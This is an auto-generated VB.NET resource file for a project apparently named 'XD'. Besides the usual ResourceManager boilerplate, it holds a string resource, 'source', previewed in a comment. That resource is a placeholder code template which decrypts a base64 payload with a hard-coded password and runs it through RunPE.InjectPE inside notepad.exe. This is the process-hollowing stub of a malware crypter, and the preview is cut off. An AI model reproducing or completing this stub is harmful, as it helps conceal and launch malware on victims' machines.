'------------------------------------------------------------------------------ ' ' This code was generated by a tool. ' Runtime Version:4.0.30319.42000 ' ' Changes to this file may cause incorrect behavior and will be lost if ' the code is regenerated. ' '------------------------------------------------------------------------------ Option Strict On Option Explicit On Imports System Namespace My.Resources 'This class was auto-generated by the StronglyTypedResourceBuilder 'class via a tool like ResGen or Visual Studio. 'To add or remove a member, edit your .ResX file then rerun ResGen 'with the /str option, or rebuild your VS project. ''' ''' A strongly-typed resource class, for looking up localized strings, etc. ''' _ Friend Module Resources Private resourceMan As Global.System.Resources.ResourceManager Private resourceCulture As Global.System.Globalization.CultureInfo ''' ''' Returns the cached ResourceManager instance used by this class. ''' _ Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager Get If Object.ReferenceEquals(resourceMan, Nothing) Then Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("XD.Resources", GetType(Resources).Assembly) resourceMan = temp End If Return resourceMan End Get End Property ''' ''' Overrides the current thread's CurrentUICulture property for all ''' resource lookups using this strongly typed resource class. ''' _ Friend Property Culture() As Global.System.Globalization.CultureInfo Get Return resourceCulture End Get Set resourceCulture = value End Set End Property ''' ''' Looks up a localized resource of type System.Drawing.Bitmap. ''' Friend ReadOnly Property images() As System.Drawing.Bitmap Get Dim obj As Object = ResourceManager.GetObject("images", resourceCulture) Return CType(obj,System.Drawing.Bitmap) End Get End Property ''' ''' Looks up a localized string similar to Imports System, Microsoft.VisualBasic '''Imports System.Runtime.InteropServices '''Imports System.Text '''Module %1% '''Sub Main() ''' '''Dim %2% As String = %3% '''Dim %4% As Byte() = decrypt(Convert.FromBase64String(%2%),"okmijnlp") '''Randomize() '''System.Text.Encoding.GetEncoding(1252).GetBytes(%3%) '''RunPE.InjectPE(%4%, Environment.SystemDirectory(0) & ":\Windows\notepad.exe") '''End '''End Sub '''Function decrypt(ByVal message As Byte(), ByVal password As String) As Byte() ''' Dim passarr As Byte() = System.Text.Encodin [rest of string was truncated]";. ''' Friend ReadOnly Property source() As String Get Return ResourceManager.GetString("source", resourceCulture) End Get End Property End Module End Namespace